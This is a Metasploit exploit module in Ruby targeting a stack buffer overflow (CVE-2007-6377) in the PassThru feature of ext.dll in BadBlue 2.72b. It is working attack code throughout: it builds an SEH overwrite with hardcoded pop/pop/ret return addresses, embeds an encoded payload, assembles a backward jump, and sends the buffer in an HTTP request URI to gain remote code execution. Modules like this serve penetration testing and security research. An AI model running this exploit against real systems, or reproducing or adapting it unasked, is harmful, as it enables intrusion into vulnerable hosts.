##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  # NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.
  # However, a proper Server header is returned when requesting /index.html or using HEAD.
  HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'BadBlue 2.72b PassThru Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the PassThru
        functionality in ext.dll in BadBlue 2.72b and earlier.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2007-6377'],
          ['OSVDB', '42416'],
          ['BID', '26803'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 750,
          'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3c\x3d\x3f\x5c",
          'StackAdjustment' => -3500,
          #'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
          'DisableNops'	=>  'True',
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # This is the version being distributed on badblue.com as of Jul 7th 2010
          [ 'BadBlue EE 2.7 Universal', { 'Ret' => 0x10033f44 } ], # pop/pop/ret in ext.dll v1.0.0.1 (06a6dc81924ba94bfbbd00902d054db2)
          [ 'BadBlue 2.72b Universal', { 'Ret' => 0x10033f44 } ]   # pop/pop/ret from ext.dll v1.0.0.1
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2007-12-10'))
  end

  def exploit
    seh_offset = 4116
    #sploit = Rex::Text.pattern_create(seh_offset)
    sploit = rand_text(seh_offset)
    # Need to jump over the nul byte
    seh = Rex::Arch::X86.jmp_short(8) + rand_text(2) + [target.ret].pack('V')
    sploit << seh

    plen = payload.encoded.length
    sploit[seh_offset - 16 - plen, plen] = payload.encoded

    # This pointer will force a crash when it is used in a lock instruction
    ptr = rand_text(3)
    ptr << [0x80|rand(256)].pack('C')
    sploit[seh_offset - 8,4] = ptr

    # These two bytes get corrupted, so we can't use them.
    sploit << rand_text(2)

    # jump back to the payload
    distance = 2 + 8 + 16 + plen
    sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string


    # Build the final URI
    uri = "/ext.dll?mfcisapicommand=PassThru&"
    uri << sploit

    print_status("Trying target %s..." % target.name)
    send_request_raw({ 'uri' => uri }, 5)

    handler
    disconnect
  end
end
